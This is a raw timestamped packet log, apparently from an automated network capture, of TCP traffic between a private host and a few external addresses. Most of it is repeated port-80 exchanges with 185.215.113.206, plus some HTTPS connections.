Dec 8, 2024 15:38:39.090528011 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.090584993 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.098614931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.098678112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.098704100 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.098741055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.106919050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.106970072 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.107002974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.107016087 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.114897013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.114940882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.115000010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.123003006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.123059034 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.123121977 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.123226881 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.127250910 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:39.127278090 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:39.127362967 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:39.127975941 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:39.127986908 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:39.131228924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.131334066 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.131397963 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.131900072 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:39.131939888 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:39.131997108 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:39.132515907 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:39.132534981 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:39.139328003 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.139421940 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.139476061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.147490978 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.147597075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.147659063 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.155586958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.155684948 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.155747890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.163196087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.163342953 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.163414001 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.170855045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.171017885 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.280263901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.280323029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.280374050 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.280415058 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.282362938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.282416105 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.283301115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.283356905 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.283427954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.283472061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.288147926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.288196087 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.288258076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.288300991 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.293236971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.293298006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.293343067 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.293391943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.297830105 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.297842979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.297894955 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.297924995 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.302460909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.302521944 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.302557945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.302601099 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.307147980 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.307205915 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.307260990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.307302952 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.312016964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.312086105 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.312186956 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.312227964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.317293882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.317342997 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.317359924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.317393064 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.321614981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.321670055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.321670055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.321711063 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.325941086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.325988054 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.326037884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.326105118 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.330689907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.330760956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.330775023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.331119061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.335470915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.335575104 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.335637093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.340339899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.340389013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.340420008 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.340431929 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.345025063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.345099926 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.345129013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.345176935 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.350878954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.350936890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.351063967 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.351145029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.354927063 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.354998112 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.355057001 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.355258942 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.355278969 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.355317116 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.355323076 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.355808973 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.355856895 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.355895042 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.356003046 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.358124018 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.358186960 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.358304977 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.358330011 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.358361959 CET	443	49788	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.358383894 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.358434916 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.358453035 CET	443	49788	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.358510971 CET	49788	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.358833075 CET	49795	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.358870983 CET	443	49795	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.358922958 CET	49795	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.358973980 CET	443	49789	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.359049082 CET	443	49789	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.359112024 CET	49789	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.359199047 CET	49795	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.359213114 CET	443	49795	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.359281063 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.359281063 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.359294891 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.359304905 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.359340906 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.359340906 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.359355927 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.359364986 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.359381914 CET	49789	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.359381914 CET	49789	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.359386921 CET	443	49789	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.359395027 CET	443	49789	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.360352993 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.360424995 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.360462904 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.360508919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.360712051 CET	49788	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.360717058 CET	443	49788	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.363337040 CET	49796	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.363353968 CET	443	49796	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.363533020 CET	49796	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.363816977 CET	49797	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.363836050 CET	443	49797	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.363893032 CET	49797	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.364053965 CET	49796	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.364064932 CET	443	49796	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.364384890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.364434958 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.364512920 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.364553928 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.364722967 CET	49798	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.364732981 CET	443	49798	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.364767075 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.364777088 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.364798069 CET	49798	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.364835024 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.364916086 CET	49798	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.364922047 CET	443	49798	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.364994049 CET	49797	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.365009069 CET	443	49797	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.365154028 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:39.365168095 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:39.368299007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.368350983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.368423939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.368465900 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.373070955 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.373141050 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.373151064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.373197079 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.399698973 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.399774075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.399790049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.399805069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.401994944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.402049065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.472502947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.472577095 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.472651958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.472701073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.474451065 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.474499941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.474596024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.474639893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.477847099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.477897882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.477929115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.477962017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.481725931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.481776953 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.481851101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.481894970 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.485794067 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.485814095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.485865116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.490046024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.490098000 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.490169048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.490212917 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.493115902 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.493189096 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.493283033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.493338108 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.496562958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.496613026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.496824026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.496870041 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.500497103 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.500511885 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.500565052 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.503284931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.503348112 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.503434896 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.503483057 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.506664038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.506789923 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.506800890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.506948948 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.509810925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.509871006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.510082006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.510126114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.513931990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.513984919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.514059067 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.514110088 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.517558098 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.517633915 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.517673969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.517771006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.521317959 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.521365881 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.521454096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.521498919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.524728060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.524780989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.524878979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.524924040 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.529886961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.529902935 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.529956102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.531826019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.531888962 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.531982899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.532028913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.533240080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.533298016 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.533390045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.533436060 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.534813881 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.534881115 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.534941912 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.535012960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.536488056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.536628962 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.536663055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.536680937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.539496899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.539520025 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.539558887 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.539570093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.541445017 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.541459084 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.541508913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.543261051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.543275118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.543330908 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.544431925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.544481039 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.544625998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.544704914 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.546358109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.546457052 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.546495914 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.546616077 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.547740936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.547782898 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.547907114 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.548019886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.549452066 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.549506903 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.549573898 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.549771070 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.550986052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.551001072 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.551043034 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.552627087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.552640915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.552673101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.554414034 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.554430962 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.554475069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.556185007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.556251049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.556322098 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.556586027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.558141947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.558197975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.558298111 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.558394909 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.560329914 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.560349941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.560376883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.560408115 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.561887980 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.561943054 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.562022924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.562089920 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.563456059 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.563571930 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.563605070 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.563621044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.567107916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.567166090 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.567243099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.567292929 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.568202019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.568331003 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.568351030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.568418026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:39.664433002 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.664460897 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:39.664531946 CET	49787	80	192.168.2.6	185.215.113.206
